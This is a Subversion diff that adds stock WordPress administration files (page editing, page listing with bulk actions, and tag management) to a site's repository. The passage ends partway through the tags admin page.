+<p><label for="post_status_private" class="selectit"><input id="post_status_private" name="post_status" type="checkbox" value="private" <?php checked($post->post_status, 'private'); ?> tabindex='4' /> <?php _e('Keep this page private') ?></label></p>
+<h4><?php _e( 'Page Password' ); ?></h4>
+<p><label class="screen-reader-text" for="post_password"><?php _e('Password Protect This Page') ?></label><input name="post_password" type="text" size="25" id="post_password" value="<?php the_post_password(); ?>" /></p>
+<p><?php _e('Setting a password will require people who visit your blog to enter the above password to view this page and its comments.'); ?></p>
+<?php
+}
+// add_meta_box('pagepassworddiv', __('Privacy Options'), 'page_password_meta_box', 'page', 'side', 'core');
+
+/**
+ * Display page attributes form fields.
+ *
+ * @since 2.7.0
+ *
+ * @param object $post
+ */
+function page_attributes_meta_box($post){
+?>
+<h5><?php _e('Parent') ?></h5>
+<label class="screen-reader-text" for="parent_id"><?php _e('Page Parent') ?></label>
+<?php wp_dropdown_pages(array('exclude_tree' => $post->ID, 'selected' => $post->post_parent, 'name' => 'parent_id', 'show_option_none' => __('Main Page (no parent)'), 'sort_column'=> 'menu_order, post_title')); ?>
+<p><?php _e('You can arrange your pages in hierarchies, for example you could have an &#8220;About&#8221; page that has &#8220;Life Story&#8221; and &#8220;My Dog&#8221; pages under it. There are no limits to how deeply nested you can make pages.'); ?></p>
+<?php
+	if ( 0 != count( get_page_templates() ) ) { ?>
+<h5><?php _e('Template') ?></h5>
+<label class="screen-reader-text" for="page_template"><?php _e('Page Template') ?></label><select name="page_template" id="page_template">
+<option value='default'><?php _e('Default Template'); ?></option>
+<?php page_template_dropdown($post->page_template); ?>
+</select>
+<p><?php _e('Some themes have custom templates you can use for certain pages that might have additional features or custom layouts. If so, you&#8217;ll see them above.'); ?></p>
+<?php
+	} ?>
+<h5><?php _e('Order') ?></h5>
+<p><label class="screen-reader-text" for="menu_order"><?php _e('Page Order') ?></label><input name="menu_order" type="text" size="4" id="menu_order" value="<?php echo esc_attr($post->menu_order) ?>" /></p>
+<p><?php _e('Pages are usually ordered alphabetically, but you can put a number above to change the order pages appear in. (We know this is a little janky, it&#8217;ll be better in future releases.)'); ?></p>
+<?php
+}
+add_meta_box('pageparentdiv', __('Attributes'), 'page_attributes_meta_box', 'page', 'side', 'core');
+
+/**
+ * Display custom field for page form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function page_custom_meta_box($post){
+?>
+<div id="postcustomstuff">
+<?php
+	$metadata = has_meta($post->ID);
+	list_meta($metadata);
+	meta_form(); ?>
+	<div id="ajax-response"></div>
+</div>
+<p><?php _e('Custom fields can be used to add extra metadata to a post that you can <a href="http://codex.wordpress.org/Using_Custom_Fields" target="_blank">use in your theme</a>.'); ?></p>
+<?php
+}
+add_meta_box('pagecustomdiv', __('Custom Fields'), 'page_custom_meta_box', 'page', 'normal', 'core');
+
+/**
+ * Display comments status form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function page_comments_status_meta_box($post){
+?>
+<input name="advanced_view" type="hidden" value="1" />
+<p><label for="comment_status" class="selectit">
+<input name="comment_status" type="checkbox" id="comment_status" value="open" <?php checked($post->comment_status, 'open'); ?> />
+<?php _e('Allow Comments') ?></label></p>
+<p><label for="ping_status" class="selectit"><input name="ping_status" type="checkbox" id="ping_status" value="open" <?php checked($post->ping_status, 'open'); ?> /> <?php _e('Allow Pings') ?></label></p>
+<p><?php _e('These settings apply to this page only. &#8220;Pings&#8221; are <a href="http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments" target="_blank">trackbacks and pingbacks</a>.'); ?></p>
+<?php
+}
+add_meta_box('pagecommentstatusdiv', __('Discussion'), 'page_comments_status_meta_box', 'page', 'normal', 'core');
+
+/**
+ * Display page slug form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function page_slug_meta_box($post){
+?>
+<label class="screen-reader-text" for="post_name"><?php _e('Page Slug') ?></label><input name="post_name" type="text" size="13" id="post_name" value="<?php echo esc_attr( $post->post_name ); ?>" />
+<?php
+}
+add_meta_box('pageslugdiv', __('Page Slug'), 'page_slug_meta_box', 'page', 'normal', 'core');
+
+$authors = get_editable_user_ids( $current_user->id, true, 'page' ); // TODO: ROLE SYSTEM
+if ( $post->post_author && !in_array($post->post_author, $authors) )
+	$authors[] = $post->post_author;
+if ( $authors && count( $authors ) > 1 ) {
+	/**
+	 * Display page author form fields, when more than one author exists.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param object $post
+	 */
+	function page_author_meta_box($post){
+		global $current_user, $user_ID;
+		$authors = get_editable_user_ids( $current_user->id, true, 'page' ); // TODO: ROLE SYSTEM
+		if ( $post->post_author && !in_array($post->post_author, $authors) )
+			$authors[] = $post->post_author;
+?>
+<label class="screen-reader-text" for="post_author_override"><?php _e('Page Author'); ?></label><?php wp_dropdown_users( array('include' => $authors, 'name' => 'post_author_override', 'selected' => empty($post->ID) ? $user_ID : $post->post_author) ); ?>
+<?php
+	}
+	add_meta_box('pageauthordiv', __('Page Author'), 'page_author_meta_box', 'page', 'normal', 'core');
+}
+
+if ( 0 < $post_ID && wp_get_post_revisions( $post_ID ) ) :
+/**
+ * Display list of page revisions.
+ *
+ * @since 2.6.0
+ *
+ * @param object $post
+ */
+function page_revisions_meta_box($post) {
+	wp_list_post_revisions();
+}
+add_meta_box('revisionsdiv', __('Page Revisions'), 'page_revisions_meta_box', 'page', 'normal', 'core');
+endif;
+
+do_action('do_meta_boxes', 'page', 'normal', $post);
+do_action('do_meta_boxes', 'page', 'advanced', $post);
+do_action('do_meta_boxes', 'page', 'side', $post);
+
+require_once('admin-header.php');
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form name="post" action="page.php" method="post" id="post">
+<?php if ( $notice ) : ?>
+<div id="notice" class="error"><p><?php echo $notice ?></p></div>
+<?php endif; ?>
+<?php if (isset($_GET['message'])) : ?>
+<div id="message" class="updated fade"><p><?php echo $messages[$_GET['message']]; ?></p></div>
+<?php endif; ?>
+
+<?php
+wp_nonce_field($nonce_action);
+
+if (isset($mode) && 'bookmarklet' == $mode)
+	echo '<input type="hidden" name="mode" value="bookmarklet" />';
+?>
+<input type="hidden" id="user-id" name="user_ID" value="<?php echo $user_ID ?>" />
+<input type="hidden" id="hiddenaction" name="action" value='<?php echo esc_attr($form_action) ?>' />
+<input type="hidden" id="originalaction" name="originalaction" value="<?php echo esc_attr($form_action) ?>" />
+<input type="hidden" id="post_author" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" />
+<?php echo $form_extra ?>
+<input type="hidden" id="post_type" name="post_type" value="<?php echo esc_attr($post->post_type) ?>" />
+<input type="hidden" id="original_post_status" name="original_post_status" value="<?php echo esc_attr($post->post_status) ?>" />
+<input name="referredby" type="hidden" id="referredby" value="<?php echo esc_url(stripslashes(wp_get_referer())); ?>" />
+<?php if ( 'draft' != $post->post_status ) wp_original_referer_field(true, 'previous'); ?>
+
+<div id="poststuff" class="metabox-holder<?php echo 2 == $screen_layout_columns ? ' has-right-sidebar' : ''; ?>">
+
+<div id="side-info-column" class="inner-sidebar">
+<?php
+do_action('submitpage_box');
+$side_meta_boxes = do_meta_boxes('page', 'side', $post); ?>
+</div>
+
+<div id="post-body">
+<div id="post-body-content">
+<div id="titlediv">
+<div id="titlewrap">
+	<label class="screen-reader-text" for="title"><?php _e('Title') ?></label>
+	<input type="text" name="post_title" size="30" tabindex="1" value="<?php echo esc_attr( htmlspecialchars( $post->post_title ) ); ?>" id="title" autocomplete="off" />
+</div>
+<div class="inside">
+<?php $sample_permalink_html = get_sample_permalink_html($post->ID); ?>
+	<div id="edit-slug-box">
+<?php if ( ! empty($post->ID) && ! empty($sample_permalink_html) ) :
+	echo $sample_permalink_html;
+endif; ?>
+	</div>
+</div>
+</div>
+
+<div id="<?php echo user_can_richedit() ? 'postdivrich' : 'postdiv'; ?>" class="postarea">
+
+<?php the_editor($post->post_content); ?>
+<table id="post-status-info" cellspacing="0"><tbody><tr>
+	<td id="wp-word-count"></td>
+	<td class="autosave-info">
+	<span id="autosave">&nbsp;</span>
+
+<?php
+	if ($post_ID) {
+		if ( $last_id = get_post_meta($post_ID, '_edit_last', true) ) {
+			$last_user = get_userdata($last_id);
+			printf(__('Last edited by %1$s on %2$s at %3$s'), esc_html( $last_user->display_name ), mysql2date(get_option('date_format'), $post->post_modified), mysql2date(get_option('time_format'), $post->post_modified));
+		} else {
+			printf(__('Last edited on %1$s at %2$s'), mysql2date(get_option('date_format'), $post->post_modified), mysql2date(get_option('time_format'), $post->post_modified));
+		}
+	}
+?>
+	</td>
+</tr></tbody></table>
+
+<?php
+wp_nonce_field( 'autosave', 'autosavenonce', false );
+wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
+wp_nonce_field( 'getpermalink', 'getpermalinknonce', false );
+wp_nonce_field( 'samplepermalink', 'samplepermalinknonce', false );
+wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false ); ?>
+</div>
+
+<?php
+do_meta_boxes('page', 'normal', $post);
+do_action('edit_page_form');
+do_meta_boxes('page', 'advanced', $post);
+?>
+
+</div>
+</div>
+</div>
+
+</form>
+</div>
+
+<script type="text/javascript">
+try{document.post.title.focus();}catch(e){}
+</script>
Index: /trunk/www.guidonia.net/wp/wp-admin/edit-pages.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/edit-pages.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/edit-pages.php	(revision 44)
@@ -0,0 +1,321 @@
+<?php
+/**
+ * Edit Pages Administration Panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+// Handle bulk actions
+if ( isset($_GET['action']) && ( -1 != $_GET['action'] || -1 != $_GET['action2'] ) ) {
+	$doaction = ( -1 != $_GET['action'] ) ? $_GET['action'] : $_GET['action2'];
+
+	switch ( $doaction ) {
+		case 'delete':
+			if ( isset($_GET['post']) && ! isset($_GET['bulk_edit']) && (isset($_GET['doaction']) || isset($_GET['doaction2'])) ) {
+				check_admin_referer('bulk-pages');
+				$deleted = 0;
+				foreach( (array) $_GET['post'] as $post_id_del ) {
+					$post_del = & get_post($post_id_del);
+
+					if ( !current_user_can('delete_page', $post_id_del) )
+						wp_die( __('You are not allowed to delete this page.') );
+
+					if ( $post_del->post_type == 'attachment' ) {
+						if ( ! wp_delete_attachment($post_id_del) )
+							wp_die( __('Error in deleting...') );
+					} else {
+						if ( !wp_delete_post($post_id_del) )
+							wp_die( __('Error in deleting...') );
+					}
+					$deleted++;
+				}
+			}
+			break;
+		case 'edit':
+			if ( isset($_GET['post']) && isset($_GET['bulk_edit']) ) {
+				check_admin_referer('bulk-pages');
+
+				if ( -1 == $_GET['_status'] ) {
+					$_GET['post_status'] = null;
+					unset($_GET['_status'], $_GET['post_status']);
+				} else {
+					$_GET['post_status'] = $_GET['_status'];
+				}
+
+				$done = bulk_edit_posts($_GET);
+			}
+			break;
+	}
+
+	$sendback = wp_get_referer();
+	if (strpos($sendback, 'page.php') !== false) $sendback = admin_url('page-new.php');
+	elseif (strpos($sendback, 'attachments.php') !== false) $sendback = admin_url('attachments.php');
+	if ( isset($done) ) {
+		$done['updated'] = count( $done['updated'] );
+		$done['skipped'] = count( $done['skipped'] );
+		$done['locked'] = count( $done['locked'] );
+		$sendback = add_query_arg( $done, $sendback );
+	}
+	if ( isset($deleted) )
+		$sendback = add_query_arg('deleted', $deleted, $sendback);
+	wp_redirect($sendback);
+	exit();
+} elseif ( isset($_GET['_wp_http_referer']) && ! empty($_GET['_wp_http_referer']) ) {
+	 wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI']) ) );
+	 exit;
+}
+
+if ( empty($title) )
+	$title = __('Edit Pages');
+$parent_file = 'edit-pages.php';
+wp_enqueue_script('inline-edit-post');
+
+$post_stati  = array(	//	array( adj, noun )
+		'publish' => array(_x('Published', 'page'), __('Published pages'), _nx_noop('Published <span class="count">(%s)</span>', 'Published <span class="count">(%s)</span>', 'page')),
+		'future' => array(_x('Scheduled', 'page'), __('Scheduled pages'), _nx_noop('Scheduled <span class="count">(%s)</span>', 'Scheduled <span class="count">(%s)</span>', 'page')),
+		'pending' => array(_x('Pending Review', 'page'), __('Pending pages'), _nx_noop('Pending Review <span class="count">(%s)</span>', 'Pending Review <span class="count">(%s)</span>', 'page')),
+		'draft' => array(_x('Draft', 'page'), _x('Drafts', 'manage posts header'), _nx_noop('Draft <span class="count">(%s)</span>', 'Drafts <span class="count">(%s)</span>', 'page')),
+		'private' => array(_x('Private', 'page'), __('Private pages'), _nx_noop('Private <span class="count">(%s)</span>', 'Private <span class="count">(%s)</span>', 'page'))
+	);
+
+$post_stati = apply_filters('page_stati', $post_stati);
+
+$query = array('post_type' => 'page', 'orderby' => 'menu_order title',
+	'posts_per_page' => -1, 'posts_per_archive_page' => -1, 'order' => 'asc');
+
+$post_status_label = __('Pages');
+if ( isset($_GET['post_status']) && in_array( $_GET['post_status'], array_keys($post_stati) ) ) {
+	$post_status_label = $post_stati[$_GET['post_status']][1];
+	$query['post_status'] = $_GET['post_status'];
+	$query['perm'] = 'readable';
+}
+
+$query = apply_filters('manage_pages_query', $query);
+wp($query);
+
+if ( is_singular() ) {
+	wp_enqueue_script( 'admin-comments' );
+	enqueue_comment_hotkeys_js();
+}
+
+require_once('admin-header.php'); ?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title );
+if ( isset($_GET['s']) && $_GET['s'] )
+	printf( '<span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', esc_html( get_search_query() ) ); ?>
+</h2>
+
+<?php if ( isset($_GET['locked']) || isset($_GET['skipped']) || isset($_GET['updated']) || isset($_GET['deleted']) ) { ?>
+<div id="message" class="updated fade"><p>
+<?php if ( isset($_GET['updated']) && (int) $_GET['updated'] ) {
+	printf( _n( '%s page updated.', '%s pages updated.', $_GET['updated'] ), number_format_i18n( $_GET['updated'] ) );
+	unset($_GET['updated']);
+}
+
+if ( isset($_GET['skipped']) && (int) $_GET['skipped'] ) {
+	printf( _n( '%s page not updated, invalid parent page specified.', '%s pages not updated, invalid parent page specified.', $_GET['skipped'] ), number_format_i18n( $_GET['skipped'] ) );
+	unset($_GET['skipped']);
+}
+
+if ( isset($_GET['locked']) && (int) $_GET['locked'] ) {
+	printf( _n( '%s page not updated, somebody is editing it.', '%s pages not updated, somebody is editing them.', $_GET['locked'] ), number_format_i18n( $_GET['skipped'] ) );
+	unset($_GET['locked']);
+}
+
+if ( isset($_GET['deleted']) && (int) $_GET['deleted'] ) {
+	printf( _n( 'Page deleted.', '%s pages deleted.', $_GET['deleted'] ), number_format_i18n( $_GET['deleted'] ) );
+	unset($_GET['deleted']);
+}
+$_SERVER['REQUEST_URI'] = remove_query_arg( array('locked', 'skipped', 'updated', 'deleted'), $_SERVER['REQUEST_URI'] );
+?>
+</p></div>
+<?php } ?>
+
+<?php if ( isset($_GET['posted']) && $_GET['posted'] ) : $_GET['posted'] = (int) $_GET['posted']; ?>
+<div id="message" class="updated fade"><p><strong><?php _e('Your page has been saved.'); ?></strong> <a href="<?php echo get_permalink( $_GET['posted'] ); ?>"><?php _e('View page'); ?></a> | <a href="<?php echo get_edit_post_link( $_GET['posted'] ); ?>"><?php _e('Edit page'); ?></a></p></div>
+<?php $_SERVER['REQUEST_URI'] = remove_query_arg(array('posted'), $_SERVER['REQUEST_URI']);
+endif; ?>
+
+<form id="posts-filter" action="" method="get">
+<ul class="subsubsub">
+<?php
+
+$avail_post_stati = get_available_post_statuses('page');
+if ( empty($locked_post_status) ) :
+$status_links = array();
+$num_posts = wp_count_posts('page', 'readable');
+$total_posts = array_sum( (array) $num_posts );
+$class = empty($_GET['post_status']) ? ' class="current"' : '';
+$status_links[] = "<li><a href='edit-pages.php'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_posts, 'pages' ), number_format_i18n( $total_posts ) ) . '</a>';
+foreach ( $post_stati as $status => $label ) {
+	$class = '';
+
+	if ( !in_array($status, $avail_post_stati) )
+		continue;
+
+	if ( isset( $_GET['post_status'] ) && $status == $_GET['post_status'] )
+		$class = ' class="current"';
+
+	$status_links[] = "<li><a href='edit-pages.php?post_status=$status'$class>" . sprintf( _nx( $label[2][0], $label[2][1], $num_posts->$status, $label[2][2] ), number_format_i18n( $num_posts->$status ) ) . '</a>';
+}
+echo implode( " |</li>\n", $status_links ) . '</li>';
+unset($status_links);
+endif;
+?>
+</ul>
+
+<p class="search-box">
+	<label class="screen-reader-text" for="page-search-input"><?php _e( 'Search Pages' ); ?>:</label>
+	<input type="text" id="page-search-input" name="s" value="<?php _admin_search_query(); ?>" />
+	<input type="submit" value="<?php esc_attr_e( 'Search Pages' ); ?>" class="button" />
+</p>
+
+<?php if ( isset($_GET['post_status'] ) ) : ?>
+<input type="hidden" name="post_status" value="<?php echo esc_attr($_GET['post_status']) ?>" />
+<?php endif; ?>
+
+<?php if ($posts) { ?>
+
+<div class="tablenav">
+
+<?php
+$pagenum = isset( $_GET['pagenum'] ) ? absint( $_GET['pagenum'] ) : 0;
+if ( empty($pagenum) )
+	$pagenum = 1;
+$per_page = get_user_option('edit_pages_per_page');
+if ( empty( $per_page ) || $per_page < 0 )
+	$per_page = 20;
+
+$num_pages = ceil($wp_query->post_count / $per_page);
+$page_links = paginate_links( array(
+	'base' => add_query_arg( 'pagenum', '%#%' ),
+	'format' => '',
+	'prev_text' => __('&laquo;'),
+	'next_text' => __('&raquo;'),
+	'total' => $num_pages,
+	'current' => $pagenum
+));
+
+if ( $page_links ) : ?>
+<div class="tablenav-pages"><?php $page_links_text = sprintf( '<span class="displaying-num">' . __( 'Displaying %s&#8211;%s of %s' ) . '</span>%s',
+	number_format_i18n( ( $pagenum - 1 ) * $per_page + 1 ),
+	number_format_i18n( min( $pagenum * $per_page, $wp_query->post_count ) ),
+	number_format_i18n( $wp_query->post_count ),
+	$page_links
+); echo $page_links_text; ?></div>
+<?php endif; ?>
+
+<div class="alignleft actions">
+<select name="action">
+<option value="-1" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="edit"><?php _e('Edit'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction" id="doaction" class="button-secondary action" />
+<?php wp_nonce_field('bulk-pages'); ?>
+</div>
+
+<br class="clear" />
+</div>
+
+<div class="clear"></div>
+
+<table class="widefat page fixed" cellspacing="0">
+  <thead>
+  <tr>
+<?php print_column_headers('edit-pages'); ?>
+  </tr>
+  </thead>
+
+  <tfoot>
+  <tr>
+<?php print_column_headers('edit-pages', false); ?>
+  </tr>
+  </tfoot>
+
+  <tbody>
+  <?php page_rows($posts, $pagenum, $per_page); ?>
+  </tbody>
+</table>
+
+<div class="tablenav">
+<?php
+if ( $page_links )
+	echo "<div class='tablenav-pages'>$page_links_text</div>";
+?>
+
+<div class="alignleft actions">
+<select name="action2">
+<option value="-1" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="edit"><?php _e('Edit'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction2" id="doaction2" class="button-secondary action" />
+</div>
+
+<br class="clear" />
+</div>
+
+<?php } else { ?>
+<div class="clear"></div>
+<p><?php _e('No pages found.') ?></p>
+<?php
+} // end if ($posts)
+?>
+
+</form>
+
+<?php inline_edit_row( 'page' ) ?>
+
+<div id="ajax-response"></div>
+
+
+<?php
+
+if ( 1 == count($posts) && is_singular() ) :
+
+	$comments = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved != 'spam' ORDER BY comment_date", $id) );
+	if ( $comments ) :
+		// Make sure comments, post, and post_author are cached
+		update_comment_cache($comments);
+		$post = get_post($id);
+		$authordata = get_userdata($post->post_author);
+	?>
+
+<br class="clear" />
+
+<table class="widefat" cellspacing="0">
+<thead>
+  <tr>
+    <th scope="col" class="column-comment">
+		<?php  /* translators: column name */ echo _x('Comment', 'column name') ?>
+	</th>
+    <th scope="col" class="column-author"><?php _e('Author') ?></th>
+    <th scope="col" class="column-date"><?php _e('Submitted') ?></th>
+  </tr>
+</thead>
+<tbody id="the-comment-list" class="list:comment">
+<?php
+	foreach ($comments as $comment)
+		_wp_comment_row( $comment->comment_ID, 'single', false, false );
+?>
+</tbody>
+</table>
+
+<?php
+wp_comment_reply();
+endif; // comments
+endif; // posts;
+
+?>
+
+</div>
+
+<?php
+include('admin-footer.php');
Index: /trunk/www.guidonia.net/wp/wp-admin/edit-post-rows.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/edit-post-rows.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/edit-post-rows.php	(revision 44)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Edit posts rows table for inclusion in administration panels.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( ! defined('ABSPATH') ) die();
+?>
+<table class="widefat post fixed" cellspacing="0">
+	<thead>
+	<tr>
+<?php print_column_headers('edit'); ?>
+	</tr>
+	</thead>
+
+	<tfoot>
+	<tr>
+<?php print_column_headers('edit', false); ?>
+	</tr>
+	</tfoot>
+
+	<tbody>
+<?php post_rows(); ?>
+	</tbody>
+</table>
Index: /trunk/www.guidonia.net/wp/wp-admin/edit-tag-form.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/edit-tag-form.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/edit-tag-form.php	(revision 44)
@@ -0,0 +1,47 @@
+<?php
+/**
+ * Edit tag form for inclusion in administration panels.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( empty($tag_ID) ) { ?>
+	<div id="message" class="updated fade"><p><strong><?php _e('A tag was not selected for editing.'); ?></strong></p></div>
+<?php
+	return;
+}
+
+do_action('edit_tag_form_pre', $tag); ?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php _e('Edit Tag'); ?></h2>
+<div id="ajax-response"></div>
+<form name="edittag" id="edittag" method="post" action="edit-tags.php" class="validate">
+<input type="hidden" name="action" value="editedtag" />
+<input type="hidden" name="tag_ID" value="<?php echo esc_attr($tag->term_id) ?>" />
+<input type="hidden" name="taxonomy" value="<?php echo esc_attr($taxonomy) ?>" />
+<?php wp_original_referer_field(true, 'previous'); wp_nonce_field('update-tag_' . $tag_ID); ?>
+	<table class="form-table">
+		<tr class="form-field form-required">
+			<th scope="row" valign="top"><label for="name"><?php _e('Tag name') ?></label></th>
+			<td><input name="name" id="name" type="text" value="<?php if ( isset( $tag->name ) ) echo esc_attr($tag->name); ?>" size="40" aria-required="true" />
+            <p class="description"><?php _e('The name is how the tag appears on your site.'); ?></p></td>
+		</tr>
+		<tr class="form-field">
+			<th scope="row" valign="top"><label for="slug"><?php _e('Tag slug') ?></label></th>
+			<td><input name="slug" id="slug" type="text" value="<?php if ( isset( $tag->slug ) ) echo esc_attr(apply_filters('editable_slug', $tag->slug)); ?>" size="40" />
+            <p class="description"><?php _e('The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.'); ?></p></td>
+		</tr>
+		<tr class="form-field">
+			<th scope="row" valign="top"><label for="description"><?php _e('Description') ?></label></th>
+			<td><textarea name="description" id="description" rows="5" cols="50" style="width: 97%;"><?php echo esc_html($tag->description); ?></textarea><br />
+            <span class="description"><?php _e('The description is not prominent by default, however some themes may show it.'); ?></span></td>
+		</tr>
+		<?php do_action('edit_tag_form_fields', $tag); ?>
+	</table>
+<p class="submit"><input type="submit" class="button-primary" name="submit" value="<?php esc_attr_e('Update Tag'); ?>" /></p>
+<?php do_action('edit_tag_form', $tag); ?>
+</form>
+</div>
Index: /trunk/www.guidonia.net/wp/wp-admin/edit-tags.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/edit-tags.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/edit-tags.php	(revision 44)
@@ -0,0 +1,320 @@
+<?php
+/**
+ * Edit Tags Administration Panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$title = __('Tags');
+
+wp_reset_vars( array('action', 'tag', 'taxonomy') );
+
+if ( empty($taxonomy) )
+	$taxonomy = 'post_tag';
+
+if ( !is_taxonomy($taxonomy) )
+	wp_die(__('Invalid taxonomy'));
+
+$parent_file = 'edit.php';
+$submenu_file = "edit-tags.php?taxonomy=$taxonomy";
+
+if ( isset( $_GET['action'] ) && isset($_GET['delete_tags']) && ( 'delete' == $_GET['action'] || 'delete' == $_GET['action2'] ) )
+	$action = 'bulk-delete';
+
+switch($action) {
+
+case 'addtag':
+
+	check_admin_referer('add-tag');
+
+	if ( !current_user_can('manage_categories') )
+		wp_die(__('Cheatin&#8217; uh?'));
+
+	$ret = wp_insert_term($_POST['name'], $taxonomy, $_POST);
+	if ( $ret && !is_wp_error( $ret ) ) {
+		wp_redirect('edit-tags.php?message=1#addtag');
+	} else {
+		wp_redirect('edit-tags.php?message=4#addtag');
+	}
+	exit;
+break;
+
+case 'delete':
+	$tag_ID = (int) $_GET['tag_ID'];
+	check_admin_referer('delete-tag_' .  $tag_ID);
+
+	if ( !current_user_can('manage_categories') )
+		wp_die(__('Cheatin&#8217; uh?'));
+
+	wp_delete_term( $tag_ID, $taxonomy);
+
+	$location = 'edit-tags.php';
+	if ( $referer = wp_get_referer() ) {
+		if ( false !== strpos($referer, 'edit-tags.php') )
+			$location = $referer;
+	}
+
+	$location = add_query_arg('message', 2, $location);
+	wp_redirect($location);
+	exit;
+
+break;
+
+case 'bulk-delete':
+	check_admin_referer('bulk-tags');
+
+	if ( !current_user_can('manage_categories') )
+		wp_die(__('Cheatin&#8217; uh?'));
+
+	$tags = $_GET['delete_tags'];
+	foreach( (array) $tags as $tag_ID ) {
+		wp_delete_term( $tag_ID, $taxonomy);
+	}
+
+	$location = 'edit-tags.php';
+	if ( $referer = wp_get_referer() ) {
+		if ( false !== strpos($referer, 'edit-tags.php') )
+			$location = $referer;
+	}
+
+	$location = add_query_arg('message', 6, $location);
+	wp_redirect($location);
+	exit;
+
+break;
+
+case 'edit':
+	$title = __('Edit Tag');
+
+	require_once ('admin-header.php');
+	$tag_ID = (int) $_GET['tag_ID'];
+
+	$tag = get_term($tag_ID, $taxonomy, OBJECT, 'edit');
+	include('edit-tag-form.php');
+
+break;
+
+case 'editedtag':
+	$tag_ID = (int) $_POST['tag_ID'];
+	check_admin_referer('update-tag_' . $tag_ID);
+
+	if ( !current_user_can('manage_categories') )
+		wp_die(__('Cheatin&#8217; uh?'));
+
+	$ret = wp_update_term($tag_ID, $taxonomy, $_POST);
+
+	$location = 'edit-tags.php';
+	if ( $referer = wp_get_original_referer() ) {
+		if ( false !== strpos($referer, 'edit-tags.php') )
+			$location = $referer;
+	}
+
+	if ( $ret && !is_wp_error( $ret ) )
+		$location = add_query_arg('message', 3, $location);
+	else
+		$location = add_query_arg('message', 5, $location);
+
+	wp_redirect($location);
+	exit;
+break;
+
+default:
+
+if ( isset($_GET['_wp_http_referer']) && ! empty($_GET['_wp_http_referer']) ) {
+	 wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI']) ) );
+	 exit;
+}
+
+$can_manage = current_user_can('manage_categories');
+
+wp_enqueue_script('admin-tags');
+if ( $can_manage )
+	wp_enqueue_script('inline-edit-tax');
+
+require_once ('admin-header.php');
+
+$messages[1] = __('Tag added.');
+$messages[2] = __('Tag deleted.');
+$messages[3] = __('Tag updated.');
+$messages[4] = __('Tag not added.');
+$messages[5] = __('Tag not updated.');
+$messages[6] = __('Tags deleted.'); ?>
+
+<div class="wrap nosubsub">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title );
+if ( isset($_GET['s']) && $_GET['s'] )
+	printf( '<span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', esc_html( stripslashes($_GET['s']) ) ); ?>
+</h2>
+
+<?php if ( isset($_GET['message']) && ( $msg = (int) $_GET['message'] ) ) : ?>
+<div id="message" class="updated fade"><p><?php echo $messages[$msg]; ?></p></div>
+<?php $_SERVER['REQUEST_URI'] = remove_query_arg(array('message'), $_SERVER['REQUEST_URI']);
+endif; ?>
+
+<form class="search-form" action="" method="get">
+<input type="hidden" name="taxonomy" value="<?php echo esc_attr($taxonomy); ?>" />
+<p class="search-box">
+	<label class="screen-reader-text" for="tag-search-input"><?php _e( 'Search Tags' ); ?>:</label>
+	<input type="text" id="tag-search-input" name="s" value="<?php _admin_search_query(); ?>" />
+	<input type="submit" value="<?php esc_attr_e( 'Search Tags' ); ?>" class="button" />
+</p>
+</form>
+<br class="clear" />
+
+<div id="col-container">
+
+<div id="col-right">
+<div class="col-wrap">
+<form id="posts-filter" action="" method="get">
+<input type="hidden" name="taxonomy" value="<?php echo esc_attr($taxonomy); ?>" />
+<div class="tablenav">
+<?php
+$pagenum = isset( $_GET['pagenum'] ) ? absint( $_GET['pagenum'] ) : 0;
+if ( empty($pagenum) )
+	$pagenum = 1;
+
+$tags_per_page = get_user_option('edit_tags_per_page');
+if ( empty($tags_per_page) )
+	$tags_per_page = 20;
+$tags_per_page = apply_filters('edit_tags_per_page', $tags_per_page);
+$tags_per_page = apply_filters('tagsperpage', $tags_per_page); // Old filter
+
+$page_links = paginate_links( array(
+	'base' => add_query_arg( 'pagenum', '%#%' ),
